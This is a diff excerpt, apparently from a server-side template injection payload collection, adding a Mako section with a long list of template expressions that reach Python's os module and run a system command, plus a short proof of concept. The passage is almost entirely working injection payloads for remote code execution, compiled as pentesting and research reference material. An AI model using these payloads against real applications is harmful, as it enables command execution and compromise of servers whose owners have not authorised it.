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@ -335,6 +335,9 @@ $str.valueOf($chr.toChars($out.read()))
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## Mako
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[Official website](https://www.makotemplates.org/)
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> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
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```python
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<%
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import os
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@ -343,6 +346,76 @@ x=os.popen('id').read()
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${x}
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```
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### Direct access to os from TemplateNamespace:
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Any of these payloads allows direct access to the `os` module
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```python
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${self.module.cache.util.os.system("id")}
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${self.module.runtime.util.os.system("id")}
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${self.template.module.cache.util.os.system("id")}
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${self.module.cache.compat.inspect.os.system("id")}
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${self.__init__.__globals__['util'].os.system('id')}
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${self.template.module.runtime.util.os.system("id")}
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${self.module.filters.compat.inspect.os.system("id")}
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${self.module.runtime.compat.inspect.os.system("id")}
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${self.module.runtime.exceptions.util.os.system("id")}
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${self.template.__init__.__globals__['os'].system('id')}
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${self.module.cache.util.compat.inspect.os.system("id")}
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${self.module.runtime.util.compat.inspect.os.system("id")}
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${self.template._mmarker.module.cache.util.os.system("id")}
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${self.template.module.cache.compat.inspect.os.system("id")}
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${self.module.cache.compat.inspect.linecache.os.system("id")}
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${self.template._mmarker.module.runtime.util.os.system("id")}
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${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
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${self.template.module.filters.compat.inspect.os.system("id")}
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${self.template.module.runtime.compat.inspect.os.system("id")}
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${self.module.filters.compat.inspect.linecache.os.system("id")}
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${self.module.runtime.compat.inspect.linecache.os.system("id")}
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${self.template.module.runtime.exceptions.util.os.system("id")}
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${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
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${self.context._with_template.module.cache.util.os.system("id")}
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${self.module.runtime.exceptions.compat.inspect.os.system("id")}
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${self.template.module.cache.util.compat.inspect.os.system("id")}
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${self.context._with_template.module.runtime.util.os.system("id")}
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${self.module.cache.util.compat.inspect.linecache.os.system("id")}
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${self.template.module.runtime.util.compat.inspect.os.system("id")}
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${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
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${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
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${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
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${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
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${self.template.module.cache.compat.inspect.linecache.os.system("id")}
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${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
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${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
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${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
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${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
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${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
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${self.template.module.filters.compat.inspect.linecache.os.system("id")}
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${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
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${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
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${self.context._with_template._mmarker.module.cache.util.os.system("id")}
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${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
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${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
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${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
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${self.context._with_template.module.cache.compat.inspect.os.system("id")}
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${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
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${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
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${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
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${self.context._with_template.module.filters.compat.inspect.os.system("id")}
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${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
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${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
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${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
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```
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PoC :
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```python
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>>> print(Template("${self.module.cache.util.os}").render())
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<module 'os' from '/usr/local/lib/python3.10/os.py'>
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```
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Source [@podalirius_](https://twitter.com/podalirius_) : [https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
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## Jinja2
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[Official website](https://jinja.palletsprojects.com/)
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